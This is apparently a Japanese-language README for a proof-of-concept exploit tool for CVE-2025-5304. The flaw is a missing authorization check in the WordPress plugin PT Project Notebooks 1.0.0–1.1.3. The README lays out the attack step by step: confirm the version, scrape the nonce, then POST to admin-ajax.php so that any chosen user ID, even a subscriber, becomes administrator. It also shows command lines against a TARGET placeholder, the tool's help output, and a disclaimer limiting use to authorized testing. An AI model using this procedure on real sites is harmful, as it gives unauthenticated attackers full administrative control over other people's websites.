
PT Project Notebooks 1.0.0 - 1.1.3 - 認可の欠如による未認証の権限昇格
PT Project Notebooks 1.0.0 - 1.1.3 - 認可の欠如による未認証の特権昇格
PT Project Notebooks バージョン 1.0.0–1.1.3 向け PoC & エクスプロイト支援ツール:
wpnb_pto_new_users_add()における認可の欠如により、未認証の攻撃者がadmin-ajax.php経由で選択したユーザーの権限を 管理者 に昇格させることができます。
WordPress 用プラグイン PT Project Notebooks は、バージョン 1.0.0 から 1.1.3 において、関数 wpnb_pto_new_users_add() の認可の欠如により、権限昇格 の脆弱性があります。これにより、未認証の攻撃者が指定したユーザー ID の権限を 管理者 の権限に昇格させることが可能です。
wp-content/plugins/project-notebooks/readme.txt を読み取り、Stable tag を抽出して対象が 1.1.3 以下であることを確認します。custom.nonce と custom.ajax_url を抽出します(wp_localize_script 経由)。admin-ajax.php に対して、action=wpnb_pto_new_users_add、発見した nonce、ids=<UserID>、user_type=2 を POST し、管理者 の全権限を対象ユーザーにコピーします。wp_verify_nonce() を成功させるには対応する wordpress_logged_in_* Cookie を渡す必要があります。python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28
python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28 -c "wordpress_logged_in_...=..."
CVE-2025-5304.py -help
usage: t.py [-h] -u URL -id ID [-c COOKIE] [--skip-version]
CVE-2025-5304 (Nxploited Edition)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL (e.g. http://127.0.0.1/wordpress)
-id, --id ID User ID to escalate (e.g. 28)
-c, --cookie COOKIE Optional Cookie header value for session-bound nonces
--skip-version Skip readme.txt version check
-u / --url — サイトのベース URL。ツールがこれを正規化し、プラグインの readme とフロントページを読み取ります。-id / --id — 昇格させる WordPress の数値ユーザー ID(購読者で十分です)。-c / --cookie — nonce がセッションに紐づいている場合に必要な完全な Cookie ヘッダー値(例: wordpress_logged_in_*=...)。--skip-version — readme.txt の Stable tag チェックをスキップします(readme が非表示またはカスタマイズされている場合に便利)。nonce と Cookie に関する注意
custom.nonce が表示される場合、それは公開されており、Cookie は不要です。-c で同じ wordpress_logged_in_* Cookie を渡す必要があります。custom.ajax_url(スキーム/ホスト/ポート/パス)を使用する必要があります。このリポジトリ、PoC、およびコードは、教育および許可されたセキュリティテストの目的でのみ提供されます。対象をテストするための明示的な許可を得ていることを確認する責任はすべて利用者にあります。作者は、このプロジェクトの使用に起因する誤用や損害について一切の責任を負いません。
作者: Khaled Alenazi (Nxploited)